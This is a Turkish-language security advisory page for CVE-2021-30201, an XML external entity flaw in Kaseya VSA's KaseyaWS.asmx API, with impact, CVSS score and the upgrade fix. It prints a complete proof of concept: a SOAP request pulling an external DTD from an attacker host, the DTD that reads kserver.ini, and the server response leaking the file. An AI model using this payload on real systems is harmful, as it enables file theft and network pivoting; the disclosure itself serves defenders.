CVE-2021-30201

Yüksek

Açıklama

/vsaWS/KaseyaWS.asmx API'si sisteme XML göndermek için kullanılabilir. Bu XML işlendiğinde, (harici) varlıklar sistem tarafından güvensiz bir şekilde işlenir, getirilir ve saldırgana döndürülür. Detaylı açıklama Aşağıdaki istek verildiğinde: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` Ve http://192.168.1.170/oob.dtd adresinde barındırılan aşağıdaki XML dosyası ile: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` Sunucu bu XML dosyasını getirecek ve işleyecektir; c:\\kaseya\\kserver\\kserver.ini dosyasını okuyacak ve içeriği aşağıdaki gibi sunucu yanıtında döndürecektir. Yanıt: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Tespit edilen güvenlik sorunları --- * API, harici XML varlıklarını güvensiz bir şekilde çözümlüyor * API, aşırı ayrıntılı hata yanıtlarına sahip Etki --- Bir saldırgan, bu zafiyeti kullanarak web sunucusu işleminin okuma yetkisine sahip olduğu sunucudaki herhangi bir dosyayı okuyabilir. Ek olarak, yerel ağa yönelik HTTP(s) istekleri gerçekleştirmek için kullanılabilir ve böylece Kaseya sistemi üzerinden yerel ağda sıçrama (pivot) yapabilir.

ÖnemYüksek
CVSS7.5
İstismar olasılığı—
ÜrünKaseya Vsa
Yayın9 Tem 2021
İlk görülme9 Tem 2021

Nasıl düzeltilir

Güncelleyin
  • kaseya vsa9.5.6 ya da sonraki bir sürüm

Etkilenen ürünler

ÜrünEtkilenen sürümlerDüzeltildiği sürüm
kaseya vsav < 9.5.69.5.6

Sürümünüzü kontrol edin

Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.

Intelligence 360 paketinde

Attack Surface Management

Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.

CVE-2021-30201 · Kaseya Vsa · Dark Radar